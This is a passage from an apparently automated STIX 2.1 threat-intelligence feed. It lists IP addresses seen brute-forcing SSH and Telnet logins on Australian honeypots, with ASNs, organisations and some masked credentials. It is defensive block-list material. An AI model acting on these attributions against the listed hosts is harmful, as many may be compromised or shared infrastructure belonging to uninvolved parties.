      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T09:15:11.000Z",
      "valid_until": "2026-06-15T09:15:08.000Z"
    },
    {
      "created": "2026-05-14T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--c76371dc-2307-49d9-a900-0d70736a968e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '143.198.145.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T09:15:11.000Z",
      "valid_until": "2026-06-15T09:15:08.000Z"
    },
    {
      "created": "2026-05-14T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 139659. Organisation(s): LUCIDACLOUD LIMITED.",
      "id": "indicator--91ad42a6-4805-4b30-aa56-d8168530fdec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '149.104.31.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T09:15:11.000Z",
      "valid_until": "2026-06-15T09:15:08.000Z"
    },
    {
      "created": "2026-05-14T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--5eba8a4a-449f-4226-8f13-c6be63096537",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.194.44.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T09:15:11.000Z",
      "valid_until": "2026-06-15T09:15:08.000Z"
    },
    {
      "created": "2026-05-14T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 56971. Organisation(s): Cgi Global Limited.",
      "id": "indicator--fe7512b6-c032-4614-8b55-63bb94e7bc0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.92.182.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T09:15:11.000Z",
      "valid_until": "2026-06-15T09:15:08.000Z"
    },
    {
      "created": "2026-05-14T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--7ffe343d-5806-47bf-9845-15509960f673",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '218.72.23.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T09:15:11.000Z",
      "valid_until": "2026-06-15T09:15:08.000Z"
    },
    {
      "created": "2026-05-14T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 7545. Organisation(s): TPG Telecom Limited.",
      "id": "indicator--591920b2-8d69-4021-9f74-8db22c5af563",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.69.218.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T09:15:11.000Z",
      "valid_until": "2026-06-15T09:15:08.000Z"
    },
    {
      "created": "2026-05-14T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 10796. Organisation(s): Charter Communications Inc.",
      "id": "indicator--2c6ac82c-7bec-4f4e-bff9-1a6213f2a28d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.133.84.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T09:15:11.000Z",
      "valid_until": "2026-06-15T09:15:08.000Z"
    },
    {
      "created": "2026-05-14T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--efecaea3-11c1-43a2-9342-3110d7f1ce3c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.219.165.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T09:15:11.000Z",
      "valid_until": "2026-06-15T09:15:08.000Z"
    },
    {
      "created": "2026-05-14T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LT. ASN(s): 213772. Organisation(s): UAB Baltnetos komunikacijos.",
      "id": "indicator--0071a972-3fad-41e9-af66-e098067df815",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.244.197.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T09:15:11.000Z",
      "valid_until": "2026-06-15T09:15:08.000Z"
    },
    {
      "created": "2026-05-14T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--097f5afe-b8aa-4f78-977f-14b35fdf67f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.155.85.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T10:15:11.000Z",
      "valid_until": "2026-06-15T10:15:08.000Z"
    },
    {
      "created": "2026-05-14T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--f8d14e13-2398-4bbd-be63-45ab6235e595",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.58.200.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T10:15:11.000Z",
      "valid_until": "2026-06-15T10:15:08.000Z"
    },
    {
      "created": "2026-05-14T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262954. Organisation(s): VirtuaServer Informatica Ltda.",
      "id": "indicator--7e966c52-6431-4bbe-8a77-f477882e791d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.226.58.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T10:15:11.000Z",
      "valid_until": "2026-06-15T10:15:08.000Z"
    },
    {
      "created": "2026-05-14T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 17222. Organisation(s): MUNDIVOX DO BRASIL LTDA.",
      "id": "indicator--94d96222-cb54-4390-b138-f3413459d2c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.102.181.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T10:15:11.000Z",
      "valid_until": "2026-06-15T10:15:08.000Z"
    },
    {
      "created": "2026-05-14T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--f01b9ab8-bc6a-42a5-887d-76a8c260be75",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.3.150.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T10:15:11.000Z",
      "valid_until": "2026-06-15T10:15:08.000Z"
    },
    {
      "created": "2026-05-14T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company.",
      "id": "indicator--fbb3f960-9c32-4ca0-9383-dcbd4aa65355",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.230.87.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T10:15:11.000Z",
      "valid_until": "2026-06-15T10:15:08.000Z"
    },
    {
      "created": "2026-05-14T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--3eddba03-d1e5-4cef-abf8-685e7bf3f56e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.235.194.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T10:15:11.000Z",
      "valid_until": "2026-06-15T10:15:08.000Z"
    },
    {
      "created": "2026-05-14T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--d016167e-4de1-4900-b452-2f46f3afd51d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.229.229.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T10:15:11.000Z",
      "valid_until": "2026-06-15T10:15:08.000Z"
    },
    {
      "created": "2026-05-14T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 215. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BW. ASN(s): 329473. Organisation(s): Click-Connect. Usernames observed (masked): r**t, g***********r, 3**********4, a***n, **. Passwords observed (masked): l******3, ***, 1****6, 1********C, 1****8.",
      "id": "indicator--140ec4e8-93fb-4c6e-bdd2-6482eb84606b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.208.34.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T11:15:05.000Z",
      "valid_until": "2026-06-15T11:15:03.000Z"
    },
    {
      "created": "2026-05-14T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--f1eafaaa-c37b-467f-9f1a-445b7b761b09",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.35.127.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T11:15:05.000Z",
      "valid_until": "2026-06-15T11:15:03.000Z"
    },
    {
      "created": "2026-05-14T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 23470. Organisation(s): ReliableSite.Net LLC.",
      "id": "indicator--a4aa95dd-7113-457c-a590-950ecfd7ce54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.96.172.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T11:15:05.000Z",
      "valid_until": "2026-06-15T11:15:03.000Z"
    },
    {
      "created": "2026-05-14T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--024e7452-ee86-4b98-9be9-bd75887061da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.0.71.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T11:15:05.000Z",
      "valid_until": "2026-06-15T11:15:03.000Z"
    },
    {
      "created": "2026-05-14T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t. Passwords observed (masked): q*******!.",
      "id": "indicator--273d4b43-1376-47d8-8954-b7fd3759b07f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T11:15:05.000Z",
      "valid_until": "2026-06-15T11:15:03.000Z"
    },
    {
      "created": "2026-05-14T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--1575c94d-9115-4932-8e02-bbe26a2a03d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.150.229.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T11:15:05.000Z",
      "valid_until": "2026-06-15T11:15:03.000Z"
    },
    {
      "created": "2026-05-14T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 27699. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--0331ac8b-ed71-485e-81dd-6835faa2db54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.75.121.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T11:15:05.000Z",
      "valid_until": "2026-06-15T11:15:03.000Z"
    },
    {
      "created": "2026-05-14T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 270344. Organisation(s): GA Telecom.",
      "id": "indicator--429a67bd-8852-4326-b6a4-e822088565ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.126.4.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T11:15:05.000Z",
      "valid_until": "2026-06-15T11:15:03.000Z"
    },
    {
      "created": "2026-05-14T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--8ac1ea5a-a3cd-4bf5-859b-1a01d755c6ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.3.127.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T11:15:05.000Z",
      "valid_until": "2026-06-15T11:15:03.000Z"
    },
    {
      "created": "2026-05-14T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--f8fdc7d6-16c2-41ce-a6f6-0d0db072d575",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T11:15:05.000Z",
      "valid_until": "2026-06-15T11:15:03.000Z"
    },
    {
      "created": "2026-05-14T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 16629. Organisation(s): CTC. CORP S.A. TELEFONICA EMPRESAS.",
      "id": "indicator--2b471214-c8c4-4eb5-9f8d-59aff4a47d91",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.113.5.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T11:15:05.000Z",
      "valid_until": "2026-06-15T11:15:03.000Z"
    },
    {
      "created": "2026-05-14T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--4442ffd5-f078-4ab9-99df-99a06bdb055d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.31.108.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T11:15:05.000Z",
      "valid_until": "2026-06-15T11:15:03.000Z"
    },
    {
      "created": "2026-05-14T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--936f2334-bfc6-4d31-a744-8b8e55fcb988",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.163.152.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T11:15:05.000Z",
      "valid_until": "2026-06-15T11:15:03.000Z"
    },
    {
      "created": "2026-05-14T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 150156. Organisation(s): 99IT.",
      "id": "indicator--86f251f2-f7a3-4257-b135-52cccbfc70e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.112.62.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T12:15:11.000Z",
      "valid_until": "2026-06-15T12:15:08.000Z"
    },
    {
      "created": "2026-05-14T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: HK. ASN(s): 138152. Organisation(s): YISU CLOUD LTD.",
      "id": "indicator--62a39e0b-5f5d-4494-9f6e-cb74d26565b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.143.11.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T12:15:11.000Z",
      "valid_until": "2026-06-15T12:15:08.000Z"
    },
    {
      "created": "2026-05-14T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD..",
      "id": "indicator--246342cf-1d5e-458f-af2a-667acfc02d64",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.159.124.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T12:15:11.000Z",
      "valid_until": "2026-06-15T12:15:08.000Z"
    },
    {
      "created": "2026-05-14T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--25f8e08b-4d9f-4cd8-9469-bb8f247e63a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.228.19.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T12:15:11.000Z",
      "valid_until": "2026-06-15T12:15:08.000Z"
    },
    {
      "created": "2026-05-14T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--077052b5-b7b8-44a8-a15a-85153cf11193",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T12:15:11.000Z",
      "valid_until": "2026-06-15T12:15:08.000Z"
    },
    {
      "created": "2026-05-14T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 9534. Organisation(s): Binariang Berhad.",
      "id": "indicator--6db892a0-bf4d-48c7-a73f-0f389999180e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.210.69.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T13:15:11.000Z",
      "valid_until": "2026-06-15T13:15:08.000Z"
    },
    {
      "created": "2026-05-14T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--b3ed6dc7-8208-4d0a-bef2-83d6d5669487",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T13:15:11.000Z",
